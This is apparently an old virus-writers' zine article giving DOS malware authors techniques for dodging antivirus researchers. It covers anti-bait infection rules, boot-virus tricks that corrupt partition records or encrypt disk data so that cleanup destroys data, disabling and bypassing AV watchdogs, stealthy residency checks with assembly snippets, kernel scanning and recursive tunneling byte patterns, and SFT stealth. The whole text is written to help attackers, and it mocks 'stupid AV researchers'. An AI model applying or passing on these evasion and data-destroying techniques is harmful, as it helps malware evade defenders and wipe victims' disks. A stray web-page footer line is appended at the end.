<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Anti-bait routines will further improve the stealth abilities of a virus and
will keep stupid AV researchers from creating infected bait files without
problems. When an AV researcher gets a new virus, he usually creates some
samples with specific baits. Some AV companies have their own special bait
collection which they use for testing the cleaning ability of their product.
So it's quite neccessary for them to create baits. Some antivirus programs also
create baits and execute them in order to catch active viruses. It's quite
easy to avoid these bait traps if your virus doesn't infect files on
the following conditions:
1. The executable file has the actual day, month and year set in it's file
time stamp. Baits are usually created shortly before the virus should
infect them, so this is one easy method to avoid baits. Normal programs are
usually older than one month, so this is no real problem for the virus.
It even helps the virus to stay unnoticed, as new software is usually
especially carefully screened.
2. Do not infect files which have numbers in their file name. Baits are usually
numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they are created
using AH=5ah INT 21h (Create temporary file), whose file names also contain
numbers.
This should be enough to prevent infecting most bait files, but there are
more things your virus could check:
3. Store the length of file name of an infected file and don't infect the next
file if it has the same name length. This is neccessary when the AV
researcher doesn't use numbers but letters for numbering the bait files
(eg BAITA.COM, BAITB.COM, BAITC.COM).
4. As 3. doesn't work if only one bait file is created, you could further check
if the file is located in the root directory. A lot of antivirus programs
create their files in the root directory of the actual drive, or use C:\.
You check this by checking the file name for the amount of '\'s. Skip
files which only have one '\' in their name, that's all. You might need
to exclude COMMAND.COM from this check if you still want to infect it.
5. A very powerful method to avoid baits is to add a timer function which
prevents the virus from infecting files in a short interval. Just set this
timer to 1-10 minutes and creating large amounts of baits will become a big
problem. It might also be funny to add a timer which will add a pause after
the virus activation and keep the virus from infecting files too soon.
The larger variants of Sirius.Alive use this.
Keep in mind that the AV researcher can't patch the virus in order to remove
these checks. They need unmodified versions of the virus and can't avoid all
this anti-bait stuff.
Armoured boot viruses
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Boot viruses are the most common viruses in the world. Viruses like Monkey,
Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible
for almost 90 percent of all infections world-wide. By now, most users know
the 'undocumented' FDISK parameter '/MBR' which will replace the partition
sector loader code with the standard DOS code, removing a virus from the
partition sector. This works fine with almost all viruses, but with Monkey
a new infection scheme was introduced which will cause total loss of data
when the user tries to use 'FDISK /MBR'. All methods described below require
that the virus is resident and has full stealth abilities or the system will
halt at the next reboot. Monkey uses a simple trick: it not only infects the
partition code but changes the master boot record at offset 1BEh to an invalid
partition record. If you boot the system from a clean disk, the virus is gone
and you can't access the hard disk anymore from DOS! Some stupid AV programs
still can't handle this situation and refuse to scan the hard disk, not being
able to detect or clean the virus now! If you now use FDISK, it will overwrite
and remove the virus, but will keep the invalid partition record.
The second method is quite unknown but just a simple improvement of the first
one. And it's quite surprising for the unskilled user! To make it short:
Just scan the partition record for the active partition entry (the one which
is flagged with 80h), change it's type to EXTENDED (05h) and set the start
cylinder/head/sector to 0/0/1. This causes an endless loop when you try to
boot from a clean disk. The system just hangs up and it's not possible to
boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug,
only IBM-DOS will finish the boot sequence, but as the partition record is
invalid, you will only get 'Invalid drive C:' if you try to access the hard
disk. So far, only a Gingerbread variant uses this trick, but it's very easy
to add this feature to a boot virus and most people use MS-DOS, so why not
use it?
The third method is much more troublesome and causes real problems if
it's not coded correctly. The idea is to encrypt the whole hard disk data
area, like Onehalf does. Of course you can't encrypt the whole hard disk at
once (a virus that needs hours to install seems very obvious to me...),
but instead encrypt just a few sectors, starting at the beginning or end of the
hard disk data area. Most AV programs can clean Onehalf now, but they only
remove the virus from the partition and clean the files, but don't decrypt
the hard disk. At last, use variable encryption when storing the original
partition sector. Some AV programs scan the whole hard disk for those copies
and use them for cleaning. Some programs can even rebuild the partition record
if it's completely wiped and only the boot sectors are available. So it might
be a good idea to encrypt them too.
Some comments about file infection
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
A lot of resident watchdogs heavily rely on INT 2Ah while intercepting system
calls. Every time a INT 21h API call is done, the DOS kernel calls INT 2Ah
with AH=80h after the INT 21h API call has finished. DOS doesn't call INT 2Ah
after every function, but after all API calls which are necessary for viruses.
By intercepting INT 2Ah and determining the original registers the watchdog
can easily bypass and detect the virus! So it's a good idea to set INT 2Ah to
a do-nothing handler while infecting files. Like INT 24h, just set it to an
IRET opcode. This will leave a few AV watchdogs powerless, for example the
AVP TSR or PCRX use this method to intercept system calls.
Some stupid AV watchdogs even do a primitive handle check before doing
further checks to the file handle. They only care about handles which are
equal or higher than 5 (they just do a stupid BX>=5 check instead of using
IOCTL). Normally, all handles below 5 are system handles and are occupied by
PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h
(Duplicate file handle) you can copy such a system handle to a higher handle,
close it and reopen the target file. This new handle will then be a low handle,
and a lot of watchdogs will ignore file modifications which are done while
using this handle. After infecting the file, just copy back the system handle
from the higher location to the still opened lower handle.
More comments about interrupt usage
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Of course all of you know how to disable VSAFE in memory, using it's own API.
But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove VSAFE
because now some AV watchdogs intercept this special call and will block your
virus! VSAFE by itself never uses this call directly, so only viruses can be
the reason for such a call. It's much more efficient to use recursive tunneling
or kernel scanning to bypass this stupid watchdog.
Don't use things like
mov AX,0deadh
int 21h
cmp AX,0acdch
je Virus_Installed
for determining if your virus is already active! First of all, TBSCAN and
other heuristic tools will detect this at once as a virus structure and
some AV watchdogs will intercept any strange INT 21 function in order to catch
resident viruses while they install themselves in memory. Instead, use some
'normal' functions like AH=30h. For example, it's much harder to intercept:
mov AX,3096h
mov SI,1996h
mov DI,1996h
int 21h
cmp AL,3
jne No_Virus
cmp SI,1997h
jne No_Virus
cmp DI,1997h
je Virus_Installed
The watchdog TSR now can't distinguish between a normal DOS version check
and a virus are-you-there call.
Or you could add more checks like a special SP range if your virus infects
EXE only. If the virus always installs a new SP from 200h to 220h, don't
react to self-check calls if the SP range is invalid. Some AV programs call
all the known virus 'are-you-there' calls in order to detect the presence of
a virus.
Don't use simple INT 1 tracing! Almost every quality AV watchdog will intercept
this (or it's absolutely worthless). Ita much better to use recursive tunneling
or kernel scanning. Kernel scanning is very easy. The approach I now explain
will work with MS-DOS and IBM-DOS when the DOS kernel is in the HMA, but
it's easy enough to find the entry point when DOS is loaded low (for example
when the user pressed F5 while booting).
The first thing you need is the DOS data segment. You can get it by calling
AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for
the following structures:
90 nop
90 nop
E8 ?? 00 call A20_Check
2E FF 2E xx xx jmp far CS:[xxxx]
90 nop
90 nop
...
There's a whole bunch of these calls, so after detecting the first one skip
14h bytes in order to get the INT 21h entry point. Now you might patch this
code fragment directly or further trace the JMP FAR into the HMA.
You could also scan the HMA directly, just search for:
FA cli
80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h)
77 ?? ja ?? (in fact, these 7x calls are used for
80 FC 33 cmp AH,33h long file name access and drive locking)
72 ?? jc ??
74 ?? jz ??
80 Fc 64 cmp AH,64h
...
This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry
point is at FF06h:41E7h), and don't forget to enable the HMA before scanning
this area. The simplest way to enable the HMA is to call a do-nothing INT 21h
like GET DATE.
A more interesting way to get the original INT 21h entry point is recursive
tunneling. Instead of using the CPU single step mode you could emulate the
most important jump operands and trace trought the interrupt chain. Unlike
real tracing, this can't be intercepted by a watchdog. The only countermeasure
is to add some traps in the watchdog code which the recursive tunneler can't
emulate. Recursive tunneling is quite easy to do, just get the actual INT 21h
vector and scan the area around this entry point for instructions like
2E FF 2E xx xx jmp far CS:[xxxx]
2E FF 1E xx xx call far CS:[xxxx]
9A xx xx yy yy call far yyyy:xxxx
EA xx xx yy yy jmp far yyyy:xxxx
Of course it's neccessary to check if the destination vector is valid. Just
scanning for EAh or 9Ah is quite uncertain, so instead you should scan for
9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI
which are often used before returning to the old INT 21 vector). It also
might be a good idea to emulate SHORT or NEAR JMPs, especially when they are
the first instruction at the entry point of the INT 21h vector.
It's a good idea to do some AV watchdog scanning while tracing with the
recursive tunneler and patch the TSR code in memory.
If you need the original INT 2Fh entry point, for example if you use AH=13h
INT 2Fh and don't want that your undocumented INT 2F call to be intercepted
just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS,
DOS places a FAR JMP at this location which can be used to get a secure
INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You should
check the this vector before using it, normally it points to a JMP FAR
instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h)
which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this
directly points into the HMA (segment above F8xxh). If you need to access the
HMA without a watchdog being able to intercept this call scan the HMA
for:
FB sti
80 FC 11 cmp AH,11
75 0A jnz l1
0A C0 or AL,AL
74 03 jz l2
E8 DC FF call l3
CA 02 00 retf 2
80 FC 10 cmp AH,10
This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and
AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA
before scanning the area at F800:xxxx, but usually the HMA is already active
if you called an INT 21h beforehand.
When your virus is a full file stealth virus, you should consider adding SFT
stealth. It's quite useless to hide the true file length at AX=4202 INT 21h
when the AV program can bypass the virus by checking the file SFT entry.
SFT stealth is quite easy to code, directly after opening an infected file
reduce the file length in the SFT entry of that file and mask the file date/
time stamp if your virus use an illegal time stamp to mark infected files.
This causes no problems unless a program tries to write to such a modified
handle. To prevent FAT corruption you should then return the SFT to it's former
state when a AH=40h INT 21h is called. To recognise a modified handle you maybe
could use the SFT vector as an ID. It's not necessary to fix the handle before
it's closed when no changes were done to the file. Besides having a better
stealth cover, the virus no longer needs to intercept AX=4202 INT 21h in
order to prevent reading from the true file end. Only AH=3Fh INT 21h has to
be intercepted, and only in the case that a program tries to read in the
modified file header.

Some files were not shown because too many files have changed in this diff Show More